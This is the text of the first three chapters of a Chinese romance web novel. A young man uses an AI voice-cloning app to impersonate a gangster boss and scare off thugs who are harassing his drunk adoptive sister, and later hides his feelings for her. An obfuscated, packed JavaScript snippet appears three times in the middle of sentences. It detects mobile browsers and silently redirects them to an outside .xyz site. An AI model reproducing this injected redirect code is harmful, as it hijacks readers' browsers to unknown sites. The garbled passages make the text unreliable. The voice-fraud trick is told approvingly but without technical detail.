《秋日囚徒》 1. 第 1 章 江市大学的新校区侧门,下午五点多,正是人来人往的时候。 隋心喜把她的越野车停在路边划好的车位上,熄了火。她降下车窗,胳膊肘搭在窗框上,眼睛在出校门的人群里扫来扫去。 很快,她就看到了晏铮。 他背着个黑色的双肩包,穿着件普通的白色T恤和牛仔裤,正跟旁边一个男生边走边说些什么。 他似乎也看到了她的车,跟旁边的男生说了句什么,那男生点点头,自己走了。 晏铮几步走了过来,拉开副驾驶的门,坐了进来。 他叫了一声“姐”,拉过安全带扣好。 隋心喜启动车子,一边看着后视镜小心地汇入车流,一边问,“刚开学的课应该不多吧,累不累?” “还行,不算累”,晏铮靠在椅背上,看着窗外飞驰而过的街景。 车里安静了一会儿,只有电台的实时路况播报声。 隋心喜觉得有点憋闷,她清了清嗓子,问:“想吃什么?今天姐请客,庆祝你搬到这个校区,离姐近了嘛。” 晏铮转过头,看了她一眼,“都行,你定吧,我不挑。” 又是“都行”,隋心喜心里的憋闷劲儿更明显了。自从晏铮上了大学,这种感觉就像根小刺,时不时就扎她一下。 以前那个会拽着她衣角、眼巴巴等她放学回来一起吃饭的小男孩,好像越来越远了。 车子在一个红灯前停下。 隋心喜调整了一下呼吸,决定说出来。 “晏铮,我怎么觉得你越大,跟姐就越生分了?小时候你多黏我啊,一口一个姐,什么都跟我说”,她犹豫了一下,还是继续说下去,“现在感觉你话越来越少,是不是遇到了什么事?还是姐哪里做得不好了?” 晏铮眨了下眼睛,眼神看起来很清澈,甚至带着点小时候的无害感。“没有啊姐,你想多了,我不是一直都这样吗?” 他顿了顿,迅速转移话题,视线又飘向窗外,“哦对了,我听班上同学说,东湖路那边新开了家美式餐吧,叫‘蓝调’,食物还行,环境也不错。要不去试试?” 隋心喜默默叹了口气。 看吧,又是这样。 每次她想靠近一点,想问问清楚,他就跟个滑不溜手的泥鳅,轻巧地绕过去了。 他那副无辜又有点懵懂的样子,让她所有的问题都像拳头打在了棉花上。 她还能说什么?再揪着不放的话,只会显得她这个当姐姐的小气。 绿灯亮了,后面传来催促的喇叭声。隋心喜只好专注地看着前面的路,踩下油门。 —————————— “蓝调”餐吧开在一栋旧厂房的二楼改造空间里,工业风混着点复古元素,灯光调得昏暗,空气里飘着烤肉和酒精的味道。 隋心喜找了个靠窗的卡座坐下,晏铮坐在她对面。 服务员拿来菜单。隋心喜点了份沙拉和意面,又问晏铮吃什么。 晏铮合上菜单,“我要份慢烤牛胸肉。” 隋心喜翻着酒水单,“喝什么?果汁还是汽水?” 晏铮刚想说可乐,隋心喜便抢先一步道:“我们喝点酒吧,今天是个好日子!” 她露出个大大的笑容,“姐姐我,升职加薪了!本来就想找机会告诉你,正好庆祝一下。” 晏铮的眉头微不可察地皱了一下,但很快舒展开。他换上那副常见的单纯困惑表情:“恭喜姐姐,不过喝酒,我不太会……” “哎呀,怕什么!”隋心喜打断他,“少喝点嘛,意思意思,姐高兴!” 隋心喜觉得晏铮就是太“端”着了,两个人喝点酒说不定就能像以前一样无话不谈。 她迫切需要一点东西来打破这种无形的隔阂,于是不由分说地对服务员说,“先来一扎啤酒,冰的!” 晏铮看着她,嘴唇动了动,似乎还想说什么,但最终只是牵了下嘴角,没再反对。 啤酒很快上来了,冒着凉气。 隋心喜给自己倒了满满一大杯,白色的泡沫涌到杯口。 她给晏铮倒的时候,只倒了浅浅一个杯底,“喏,你的,一点点。” 她举起自己的杯子,声音提高了些,“来,晏铮,恭喜姐姐加薪,也庆祝你新校区新气象,以后多来姐这儿吃饭!” “嗯,恭喜姐”,晏铮端起杯子,很浅地抿了一口。 隋心喜却仰头灌了一大口下去。冰凉的液体滑过喉咙,带来一丝刺激和短暂的放松。 她感觉心头的憋闷被冲淡了一些,又给自己倒满。 餐点上来了。隋心喜一边吃着沙拉,一边试图找话题聊。 她问晏铮新校区习不习惯,宿舍怎么样,课程难不难。 晏铮的回答都很简短,要么是“还行”,要么是“差不多”,偶尔多说一两句,也是不咸不淡。 隋心喜越聊越觉得没劲,心里那点庆祝的喜悦也被冲得七零八落。 她开始一杯接一杯地喝啤酒,好像只有这样才能压下那股说不清道不明的失落感。 “你知道吗晏铮”,她感觉脸上有点热,话也多了起来,“我有时候真挺怀念以前在老房子那边的日子。你才那么点儿高……” 她用手比划了一下,眼神有点飘忽,“天天跟在我屁股后面跑,作业不会做了找我,饿肚子了也找我,多好啊!现在你看看你,大学生了,翅膀硬了,跟姐都不亲了。” “你喝多了”,晏铮看着她,带着点责备的口吻。他面前的酒杯里,那点啤酒几乎没动过。 “我没多!”隋心喜有点恼火地反驳,又给自己倒了一杯,这次酒液泼洒了一些在桌面上,“这点酒算什么,姐高兴!” 她咕咚又是一大口下去,只觉得心跳得有点快,脑子晕乎乎的,看对面晏铮那张年轻好看的脸都有点重影。 那个模糊的影子,一会儿是现在这个沉默疏离的晏铮,一会儿又变成小时候那个软软糯糯、眼睛里全是依赖的小男孩。两张脸在她眼前晃来晃去,搅得她心里更乱了。 “我去下洗手间”,她撑着站起来,眼前有点发花,桌子椅子好像都在打转转。 她洗了把冷水脸,感觉稍微清醒了一点点,但那股莫名的烦躁感还在。 她对着镜子拍了拍自己的脸,嘟囔着:“隋心喜,别再喝了。” 她走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490810|185851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出洗手间,刚拐进稍微开阔一点的区域,三个男人刚好也从旁边小包间晃悠出来。 他们都穿着紧身花T恤,胳膊上露着纹身,叼着烟,浑身散发着酒气。 隋心喜下意识地想避开这些流里流气的人。 她侧身从旁边绕过去,其中一个脖子上挂着条粗金链子的男人,却故意往她这边一挡,嬉皮笑脸地凑近了点:“妹子,一个人啊?喝多了,走路都晃悠了嘿!” 一股浓烈的烟酒混合臭味扑面而来。隋心喜皱了皱眉,胃里一阵翻涌。 她屏住呼吸,往旁边迈了一步:“麻烦让让。” “哟呵,脾气还不小?”一个染着黄毛的瘦高个吹了声口哨,也围了上来,眼神不怀好意地在隋心喜身上扫,“跟哥几个聊会儿呗,看你挺寂寞的样子。” “就是,哥哥们带你找点乐子?”第三个光头也跟着起哄,甚至想伸手拉隋心喜的胳膊。 “滚开!”酒精放大了隋心喜的情绪,恐惧混杂着强烈的厌恶冲上头顶。 她甩开那只靠近的脏手,声音拔高,“离我远点!” “妈的,给脸不要脸是吧?”寸头男面子有点挂不住,脸一沉,又想伸手抓隋心喜的肩膀,“还挺辣!” 就在寸头男的手即将碰到隋心喜衣服的瞬间,一个身影更快地插了进来,挡在了她前面。 晏铮格开了寸头男的手腕,眼神像结了冰的湖水,嘴角若有若无的弧度,透着一股慑人的寒意。 寸头男手腕一阵发麻,对上晏铮那双眼睛,心里没来由地一突。 但他仗着人多,又喝了酒,戾气立刻压过了那瞬间的不安,“操!你他妈谁啊?想英雄救美?” 黄毛和光头也围拢过来,气势汹汹,“就是,小屁孩儿滚一边去!” 隋心喜被晏铮挡在身后,看着他的肩膀,脑子里燃起强烈的保护欲。 她犹记得老房子楼下那条阴暗的小巷。下了高中晚修的自己,看见几个欺负晏铮的大孩子,就是这样冲上去,张开双臂把小晏铮死死护在身后,大声呵斥那些坏孩子。 两个场景似乎在这一刻重叠了。 “不许欺负他!”一声尖利的呼喊划破了紧张的气氛。 隋心喜从晏铮背后冲了出来,像护崽的母鸡一样,又一次挡在了他前面。 她身体还在摇晃,眼神因为醉意迷蒙不清,脸上的表情却凶狠无比。 她胡乱地指着那几个混混,骂道:“你们这些坏蛋,不准碰我弟弟!谁敢碰他一下,我跟你们拼了!” 这突如其来的变故让三个混混都懵了。 他们本来以为就是个喝多了落单的女人,或者顶多有个大学生男朋友。结果这女的像疯了一样摆出要拼命的姿态,这什么情况? 晏铮看着眼前这个因为醉酒和极度护短而行为失控的女人,看着她那明明站都站不稳却还要强撑着保护他的背影,脸上的冰冷表情也裂开了缝隙。 他的内心深处,升起一股被珍视的暖意,尽管这方式如此荒诞。 他决定,不能再让这醉猫继续撒酒疯了。 他的右手悄无声息地滑进了牛仔裤的口袋,摸出了手机。 2. 第 2 章 从高中开始,晏铮就开始上网接活。 上个月有个中间人找到他,说有个老板对新鲜玩意儿特别感兴趣,尤其是什么人工智能、大数据之类的,想找人聊聊。 看在订金厚实的份上,他就去了。 见面的地方在一个看起来普通的茶楼包间,进去才知道不普通,门口站着俩保镖,眼神跟刀子似的。 斌爷的外貌倒没想象中那么凶神恶煞。他五十岁上下,穿着件考究的唐装,手里盘着串珠子,说话慢悠悠的,但那双眼睛看人的时候,像蛇在打量猎物。 斌爷对晏铮搞的技术挺好奇,问了不少,尤其对“能不能用在牌桌上算牌”“能不能分析赌客习惯”这类问题问得特别细。 晏铮立刻就明白了,这是搞地下赌场的。 那次见面最后也没谈成具体项目,晏铮找了个技术难度太大的借口推了,但斌爷给他留了个私人号码,说“小伙子有想法,以后说不定有机会”。 晏铮当时就想,这号码最好永远用不上。 但现在真是想什么来什么。? 上次在茶楼外面等着的时候,他见过斌爷手下几个马仔在附近抽烟。一个寸头男脖子上有个歪歪扭扭的“忠”字纹身,还有个黄毛的手腕上露出来一小截鬼头刺青,俨然就是面前这几人。 他知道这种小混混最怕的就是顶头大哥,一个点子在脑里窜了出来。 他最近在调试一个新技术,还在实验阶段。那是个AI模仿声音的APP,能输入一小段目标的声音,然后算法分析提取特征,再用这个特征去套用生成新的语音。 简单说,就是能让电话那头的人,听上去像另一个人在说话。 他捣鼓了好一阵,想着哪天能派上用场测试下效果。 眼下不就是现成的试验品吗?还是三个打包的。 晏铮站在隋心喜身后,迅速操作了起来。 手机里有几段上次见面偷录的斌爷语音,他选中了其中清晰有力的一句:“搞快点!” APP立刻开始工作,屏幕上一个进度条飞快跳动,显示【声纹特征提取中……30%……70%……100%……特征提取完毕,请选择输出模式。】 晏铮选了最粗暴直接的“强化命令语气”,然后点了虚拟键盘上的“呼叫”。 他的手机很快响起来。他假装对着电话那头的“斌爷”说了几句,就将电话递给了寸头男,“斌爷找你。” 寸头男原本还在嬉皮笑脸,听到大哥的名字,眼神瞬间惊疑不定。黄毛和光头也都停下了动作,看向晏铮。 寸头男看着屏幕上跳动的“斌爷”二字,不敢不接。 他对着手机喂了一声,听筒里立刻炸开一个狂暴的吼声,正是斌爷那独特的嗓音: “?操你妈的寸头强,你眼珠子让狗日了?” “?老子让你去收西边那两家的数,收完了吗?” “?收完了不赶紧滚回来,跑他妈蓝调撩骚?” “?你知不知道那小子是老子刚看上的人才,想死是不是?老子见了也得客客气气叫声老弟的!你他妈算个几把毛,敢在他面前耍横?” “?马上给老子滚去道歉,少耽误一秒钟,把你中间的腿卸了喂狗!听见没有?操!?” 寸头男听着那暴怒的声音,冷汗都出来了。 他整个人佝偻了起来,对着手机不停地点头哈腰:“斌爷我错了,我有眼不识泰山!您消消气,消消气!” 电话那头似乎又吼了一句什么,寸头男连声说是。他挂了电话,双手捧着晏铮的手机还了回来。 他猛地转身,刚才面对“斌爷”时的孙子样消失了,取而代之的是一股无处发泄的邪火。他一脚踹在旁边还在发懵的黄毛肚子上。 “嗷!”黄毛猝不及防,被踹得踉跄后退好几步,撞在卡座上。 寸头男指着黄毛鼻子破口大骂,唾沫星子横飞,“?老子让你出来收数,你他妈就盯着女人看?老子的脸都让你们这两个傻逼丢尽了!?” 他又转向旁边同样吓傻的光头:“?还有你,杵着跟个死人似的!刚才动手动脚的不是你?” 黄毛捂着肚子,疼得龇牙咧嘴,又不敢顶嘴。光头更是大气不敢出,低着头。 寸头强骂完手下,深吸一口气,勉强压下脸上的狰狞,转过身再次面对晏铮时,又换上了谄媚的笑容。 “我们三个眼瞎!真不知道是您,更不知道这位小姐是您的朋友!您大人有大量,别跟我们一般见识!”他说着,抬手就给了自己一个不轻不重的耳光,然后凶狠地瞪了黄毛和光头一眼。 黄毛和光头终于反应过来,也赶紧对着晏铮和还在那里醉醺醺搞不清状况的隋心喜连连鞠躬道歉。 隋心喜还沉浸在刚才“保护弟弟”的戏码里没出来,被这突如其来的变故整懵了。 她努力睁着醉眼,看看这个又看看那个,最后视线落在晏铮脸上,含含糊糊地问:“晏铮,他们怎么啦,演小品啊?” 晏铮没回答她的问题,只是将她拉到身边,对着三个混混冷冷道:“滚。” 三人走了,餐吧瞬间安静了不少。其他卡座的看热闹客人也收回了目光,只剩下隋心喜还傻乎乎地站在那儿。 她拍了拍晏铮的肩膀,“坏人跑了……弟弟别怕……” 她说完,身子晃了晃,像是终于耗尽了力气,软绵绵地就往旁边倒。 晏铮眼疾手快,扶住她。他收紧了手臂,把她带离了餐吧。 —————————— 晏铮半架半抱着隋心喜,好不容易把她弄进了酒店房间。 她整个人软得像滩泥,脑袋靠在他肩膀上。她的高跟鞋踢掉了,光着脚丫子踩在地毯上,一步也走不稳。 他将她带到床边,她躺下去的时候,头发散了一枕头,裙子皱巴巴地卷到了大腿上一点。 晏铮站直了,喘了口气,额头上有点汗。他松了松领口,感觉舒服了点。 他低头看她。 隋心喜闭着眼,眉头微微蹙着,脸颊通红。她睡得不沉,时不时还咂咂嘴,或者无意识地挥一下手。 他转身走到洗手间,拧开水龙头,冷水哗哗流出来。他掬了捧水泼在脸上,凉意让他脑子清醒了不少。 他抬头看镜子,里面的人脸上没什么表情,就是眼底有点暗。 走回床边的时候,隋心喜已经翻了个身,蜷缩起来像个虾米。这下裙子卷得更高了,露出更多雪白的腿。 晏铮的目光在那片皮肤上停了一秒钟,喉结动了动。 他弯腰,小心翼翼地把她裙摆往下拉了拉,盖住膝盖。 她好像有点热,不舒服地扭动,抬手就去扯自己连衣裙的领口。扣子被她扯开两颗,露出大片锁骨和胸口的皮肤。 晏铮的呼吸顿了一下,抓住她乱动的手腕,“姐,老实躺着。” 隋心喜稍微安静了点,但还是咕哝:“热……渴……” 晏铮只好松开她,从冰箱里拿了瓶矿泉水。他拧开盖子,一手托起隋心喜的头,把瓶口凑到她嘴边。 隋心喜是真的渴了,闭着眼就凑过来。 水顺着她嘴角流了一点下来,滑过脖子。 晏铮抽了两张纸,帮她擦水渍。他的指腹触到了她温热的皮肤,眼神暗了暗。 喝完水,隋心喜舒服多了,脑袋一歪,又沉沉睡去。 晏铮站在床边,看着床头灯的光线打在她脸上,柔和了她平时张扬的轮廓。 他看着看着,眼前的这张脸,好像变了点样子。不是现在这张成熟的脸,而是更稚嫩一些,圆润一些,眼睛里总是亮晶晶的,像藏着整个夏天阳光的脸。 那是十年前的事了。 那会儿他才十岁。一夜之间,爸妈出了车祸,都没了。 他记得那个空荡荡的大房子,平时吵吵闹闹的家,变得死一样的安静。 没人给他做饭了。他饿得不行,打开冰箱,里面只有几瓶过期的牛奶和蔫了的菜叶子。 他不敢出去,因为外面的人比冰箱里的东西更让他害怕。 那些平时一年到头见不到两次面的叔叔伯伯姑姑们,那段时间天天来。 他们脸上堆着笑,说的话却很吓人。 有的说他还小,房子得有人“保管”;有的直接说房子应该卖掉,钱分一分,“照顾”他;还有个婶婶,甚至想偷偷翻他爸妈留下的东西,被他撞见了,还厚着脸皮说帮他“收拾”。 他把门锁得死死的,缩在自己的小房间里,抱着爸妈的相片。外面有人敲门,他吓得心脏直跳。他不敢开,也不敢出声。 肚子饿得咕咕叫,声音在空房子里特别响。 后来,敲门声又响了,但这次是轻轻的。 接着,他听到了一个熟悉的声音,脆生生的,像小鸟叫,“晏铮,你在家吗?” 是隔壁的隋心喜姐姐。她比他大七岁,那时候上高中了。 他记得她总是笑嘻嘻的。有时候,她放学路过他家门口,看到他一个人玩,会跟他打招呼,或者塞给他一颗糖。 他听着门外那个声音,一遍遍耐心地喊他名字,不像那些大人那么凶。 他犹豫了好久,慢慢地挪过去,踮起脚,从猫眼里往外看。 猫眼里的人变形了,但他还是认出来,是隋心喜姐姐,她手里还端着个碗。 他还是没开门,他害怕。 过了一会儿,他听到门口有窸窸窣窣的声音。 然后,一张小纸条从门缝底下塞了进来,上面写着:“晏铮,你是不是没吃饭?我给你装了饭和菜,放在你家门口了,趁热吃吧!别怕,有什么事就来我家找我。隋心喜。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490811|185851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他小心地打开一条门缝。 果然,门口地上放着一个大海碗,满满一碗米饭,上面盖着金黄色的炸丸子,碧绿的炒青菜,还有一个油汪汪的大鸡腿,热气腾腾的香气直往他鼻子里钻。 他饿极了。 他把碗飞快地端进来,关上门,狼吞虎咽地吃了起来。 那是爸妈走了之后,他吃的第一顿饱饭。饭菜的味道特别好。 后来,这样的事情发生了好几次。 有时是纸条,有时是她直接在门外喊:“晏铮,我妈包了饺子,可香了,给你放门口啦”,或者“晏铮,今天炖了排骨汤,快来拿!” 再后来,大概是隋心喜姐姐跟她爸妈说了什么。 有一天,隋心喜的妈妈,那个说话温温柔柔的阿姨,直接来敲门了。 隔着门板,阿姨的声音特别温和,说小铮啊,开门好吗?阿姨给你做了好吃的。 他在门后站了很久,终于把门打开了。 从那以后,隔壁的隋叔叔和阿姨经常叫他过去吃饭。 他记得第一次走进隋家时,里面亮堂堂的,饭菜的香味比他自己家以前的还要浓。 隋叔叔拍拍他的头,说:“小伙子,饿坏了吧?快坐下吃。” 隋心喜就坐在他对面,笑嘻嘻地把最大的一块排骨夹到他碗里,“多吃点,太瘦啦!” 那顿饭他吃得很饱。饭后,隋心喜还拉着他去阳台看她养的多肉。小小的绿色植物挤在花盆里,胖乎乎的。 那些亲戚再来骚扰,甚至有一次堵着他家门口骂骂咧咧,声音很大。 隋叔叔直接开门出来了:“有什么事冲我说,欺负一个没爹没妈的孩子算什么本事?” 那些人被说得讪讪的,后来再也没在他家门口闹过。 慢慢地,隋家就成了他的避风港。 尤其是隋心喜。她像个小太阳,在他最冷最暗的时候,带他回家吃饭,给他讲学校里好笑的事,帮他补习功课。 在他被别的孩子欺负时,像个炸毛的小母鸡一样把他护在身后,冲着那群比她高半个头的家伙喊:“你们敢动他试试!” 那些画面,那些声音,那些饭菜的香气,还有灯光下暖黄色的木头桌子……像放电影一样,在他看着眼前这张睡颜时,不受控制地涌了上来。 晏铮坐在床边的椅子上,离隋心喜很近,近到能看清她脸上细小的绒毛。她的呼吸均匀了些,胸口随着呼吸微微起伏。 他伸出手,动作很慢,在空中犹豫了片刻,最终还是落在她的额头上,把她有些汗湿的鬓发拨到耳后。 他喜欢她。 不是弟弟对姐姐的那种喜欢。 不知道从什么时候开始,心里那份依赖和感激就变了味。 只是他很清楚,这种感情不能说,不能露出来一丝一毫。 在她眼里,他就是个需要照顾的小弟弟。一个她出于善良和习惯,会一直照顾下去的小跟班。 可是,他看着她微张的嘴唇,想起离开餐吧时,她因为喝醉无意识地舔过嘴唇,现在唇瓣看起来有点湿润。 他的喉咙很干,脑子里有个声音在叫嚣:亲下去,就趁现在,她喝醉了,她什么都不会知道。 下一秒,他猛地站了起来,像是被自己的念头烫到了一样,迅速后退了两步,拉开了和床的距离。 他调整着呼吸,告诉自己不行,绝对不行。 房间里太闷了。隋心喜身上的味道,还有酒精的味道,混合着回忆一起涌上来,像一张网,把他困住。 于是他去了顶楼,那儿有个露台,是给客人抽烟用的。夜风呼呼地吹着,吹得他单薄的上衣紧贴在身上。有点冷,但正好。 他走到露台边缘的栏杆处,从口袋里摸出烟盒和打火机。 尼古丁的味道在口腔和鼻腔里弥漫开,有点苦,有点呛。但带着麻痹感的刺激顺着神经往上爬,稍微压下了心底那头横冲直撞的野兽。 他靠在栏杆上,吐出一口烟圈,看着它在夜风里迅速消散无踪。就像他那些不能见光的心思。 他觉得自己像个贼。偷窥着她的生活,享受着她的关心和温柔,心里却藏着这么龌龊的念头。 她今天开车来接他时,有点泄气地说感觉他长大了,和自己疏远了。她想知道为什么。 他不是不想回答,但是,他能说什么呢? 说他喜欢她,是男人对女人的那种喜欢?说他每次看到她,都想把她藏起来,不让任何人看到?说他嫉妒她身边可能出现的任何一个男人? 她会吓死的,她会觉得他疯了。他们会连现在这种表面的“姐弟”关系都维持不下去。 他离不开她。 哪怕只是这样,以“弟弟”的身份待在她身边,看着她,偶尔一起吃顿饭,听她唠叨,他也认了,总比彻底失去她强。 3. 第 3 章 隋心喜醒来的时候,眼皮像黏了强力胶,费了好大劲才撬开一条缝。 她看着陌生的房间装饰,以及身上不属于自己的男装T恤,猛地从床上坐了起来。 记忆的碎片混乱地冲撞着:餐吧的灯光、冰凉的啤酒杯、拦路的混混、晏铮那总是波澜不惊的脸……然后就是一片狰狞的空白。 这时候,浴室门打开了,晏铮走了出来。他的头发微湿,只穿了件长裤,上半身精悍年轻的线条在晨光里一览无遗。 隋心喜的脸一下烧了起来,红得能滴血。 她低下头,手指攥紧了被子边缘,声音抖得不成样子:“晏……晏铮……我们……” 后面的话堵在嗓子眼,压得她几乎窒息。她觉得自己居然对从小看到大的邻家弟弟下手,真想立刻找个地缝钻进去。 晏铮看着她满脸的惊恐和羞耻,没立刻接话。他走到窗边,拉开了厚重的遮光帘。 刺目的阳光涌进房间,隋心喜下意识地眯起了眼。 就在这令人窒息的沉默里,晏铮总算转过身,告诉隋心喜:“你想多了。你昨晚睡到一半,起来吐得昏天黑地,衣服不能要了。我闭着眼给你弄的,什么都没看见。” 他顿了顿,目光扫过她煞白的脸,补充道:“至于你怀疑的事,没有发生。” 隋心喜悬到嗓子眼的心脏,像颗沉重的秤砣,一下子落了回去。 她顾不得宿醉后的头疼,无比庆幸地吐出一口气,身体也跟着松弛下来,喃喃道:“那就好,那就好……吓死我了……” 可她这如释重负的样子,落在晏铮眼里,完全是另一番解读。 原来她心里,自己只是那个一丝杂质都不该有的“弟弟”。就算有酒后乱性的可能,对她而言都是灾难性的玷污。 难以言喻的烦躁再次翻涌上来,甚至比昨夜更甚。 他眸色沉了沉,嘴角却习惯性地向上牵起弧度。只是那弧度里没了往日的乖巧,有些冷。 他转身走向沙发,拿起叠放好的衣服,递给隋心喜。 那是她昨天穿的连衣裙,已经被他送去楼下干洗熨烫。 他从桌上抓起车钥匙,在指尖转了一圈,“你这样开不了车,我送你上班。” —————————— 隋心喜的越野车停在写字楼下面,现在正是上班打卡的高峰尾声。 晏铮一手搭在方向盘上,另一只手随意地放在换挡杆旁。 他降下车窗,头发被晨风吹得有些乱。年轻干净的面容配上线条硬朗的越野车,有种奇特的碰撞感,很是扎眼。 他侧过头,对隋心喜道:“姐姐,到了。” 隋心喜正低头解安全带,闻言抬头“哦”了一声,正好看到外面几个路过的同事。 她慌忙拨了拨头发,装作没看到他们。 晏铮看在眼里,了然于心。他故意提高了点音量,眼神清澈,带着点恰到好处的关心:“要不我还是送你上楼吧,我看你依旧不太舒服的样子。” 隋心喜脱口而出道:“真不用!” 她的声音因为莫名的紧张而有些尖利,她意识到自己反应过度,又连忙找补:“你快回学校吧,早上不是有课吗?迟到不好。” “行”,晏铮从善如流地点点头,“那我把车停好就走,回头联系。” 他笑着,目光掠过隋心喜,又似不经意地扫过车窗外驻足侧目的几道视线。 “嗯嗯,快回去吧”,隋心喜推开车门,几乎是逃也似的下了车。 隋心喜走进富邦科技,刚在自己的工位坐下,旁边隔断就探过来一张充满八卦的脸。 “喂喂喂!”王雪压低声音,用下巴指了指楼下的方向,“隋隋,老实交代,刚才楼下送你那帅哥谁啊?藏得够深的啊你!” 隋心喜正揉着还在隐隐作痛的太阳穴,被王雪这突然袭击搞得有点懵:“啊,你说谁?” “还装!”王雪敲了下桌面,“就开你越野车的小哥啊,帅得惨绝人寰那个。我刚才在楼下咖啡店买早餐,看得清清楚楚,他对你笑得那叫一个甜!快说,哪认识的?” 隋心喜这才反应过来,无奈地叹了口气:“你说他啊,那是我弟晏铮,现在江大读大三了。” “弟弟啊?”王雪的眼睛瞪大了两圈,“亲的?” “不是亲弟,但跟亲的没两样。他爸妈走得早,又住我家对面,我家照顾得多点。昨天他开学换了新校区,离我这边近,正好我……呃,有点事,他送我过来而已。”隋心喜含糊地带过了酒店的事。 “哦,邻家弟弟啊!”王雪拖长了调子,脸上露出一种“我懂”的笑容。 但很快,这笑容切换成了无比的殷切。她拉着椅子,坐近了隋心喜,“那更好啊,肥水不流外人田!隋隋,好姐姐,介绍给我认识认识呗?求求了,姐后半辈子的幸福就靠你了。” 隋心喜的手停在键盘上方,屏幕幽幽的光映在她脸上。 她几乎就想开口答应,因为从小到大,她乐于助人,牵线搭桥撮合成功的情侣没有五对也有三对了。帮王雪和晏铮交换联系方式,安排个饭局,对她来说,简直轻车熟路,小事一桩。 可是,那声爽快的“好啊”卡在舌尖,怎么也吐不出来。 一种陌生的酸涩滋味漫了上来,像一颗未熟的青杏在胃里化开。 她摇摇头,坚决地说了句“不行”。 “啊?”王雪夸张地哀嚎一声,满脸的不敢置信,“为什么啊隋隋,就介绍认识一下嘛,又不会少块肉。” 她晃着隋心喜的手臂,拿出了撒娇耍赖的看家本领。 “不行就是不行”,隋心喜抽回自己的手臂,语气也沉了下来,“他年纪小,心思根本不在这些乱七八糟的事上。你是不知道他对自己有多狠,他眼里除了代码就是学习。” 她顿了顿,像是在给王雪,也像是在给自己强调合理性,“他现在最需要的是专心搞学业,谈恋爱没排在他的时间表上。王雪,你条件那么好,大把男的追你,就别去打扰他了。” 王雪被她这异常严肃的语气和一连串的理由砸得有点懵,撇了撇嘴:“这样啊,那好吧。可惜了,那么帅一张脸。” 她悻悻地缩回了自己的隔断里,嘴里还在不死心地嘟囔,“唉,年纪小点怕什么,潜力股啊这是……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490812|185851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隋心喜没再接话。办公室里恢复了噼里啪啦的键盘敲击声。 她盯着屏幕上密密麻麻的表格数据,只觉得宿醉带来的头痛换了种形式重新袭来,闷闷地压在神经上。 —————————— 晏铮推开宿舍大门,随手把双肩包扔到自己靠窗的下铺上。 “一晚上不见人,现在才回来啊?”对面上铺传来个拖长了调子的声音。 晏铮抬眼。李露雨正躺在床上刷手机,脑袋探出来,脸上挂着欠了吧唧的笑。 晏铮应了一声,走到自己桌前,拉开椅子坐下,掏出手机划拉起来。 李露雨把手机放下,趴在床沿,下巴搁在胳膊上,一副准备八卦到底的架势,“晏铮,昨天我可都看见了,校门口的大越野。开车那姐姐是何方神圣啊,是不是新钓上的富婆?” 宿舍里另外两个,一个戴着耳机打游戏,压根没听见。另一个刚洗完澡出来,正拿着毛巾搓头发,闻言也好奇地瞅了晏铮一眼。 晏铮手指在手机屏幕上滑动着,眼神都没偏一下,“亲戚。” “操,少来这套!”李露雨嗤笑一声,“是不是家里给介绍的相亲对象?看着比你大,但盘靓条顺气质佳。你小子行啊,软饭硬吃,前途无量。” 搓头发的室友张超插了句嘴:“真的假的?” 晏铮终于把目光从手机上移开,扫了李露雨一眼,又看看张超。他扯了扯嘴角,像是在笑,“真亲戚,一个姐。” 李露雨像是抓住了什么把柄,一下子坐直了。 他拍着床板,乐不可支:“姐弟情深是吧?哎呦喂,晏铮小朋友,你多大了?大三了还让姐姐接送,羞不羞啊?我看你是没断奶吧!怪不得……” 他故意顿了一下,拖长了调子,带着十足的嘲讽:“怪不得人家只把你当弟弟呢,就你这小奶狗样儿,啧啧,姐姐们玩玩可以,谁会真看上你啊?你这‘弟弟’标签,怕是焊死在脑门儿上了,撕都撕不掉咯。” 这些话语一字一句,精准无比地砸在晏铮此刻最敏感的神经上。 早上隋心喜的反应,混杂着那种被隔绝在“弟弟”身份之外的无力感,全部翻涌上来。 他握着手机的手指收紧了,但他抬起头看向李露雨时,眼神却平静得像一潭深水。 他点了点头,像是完全认同了李露雨的高见,“嗯,你说得对,她也就把我当弟弟。” 这种反应显然不是李露雨预期的。他期待看到晏铮被戳中痛处的跳脚,或者难堪的辩解。 结果对方就这么轻飘飘地认了,反倒让他一拳打在棉花上,憋得慌。 他撇撇嘴,嘟囔了一句脏话,又摸起了手机,继续刷短视频去了。 张超看没热闹可看,也专心擦他的头发。宿舍里只剩下打游戏的键盘声和视频外放的笑声。 晏铮重新低下头。 他的手机屏幕上,不再是无聊的新闻,而是一个简洁的命令行界面。 他指尖在虚拟键盘上快速跳动,输入一串串指令。 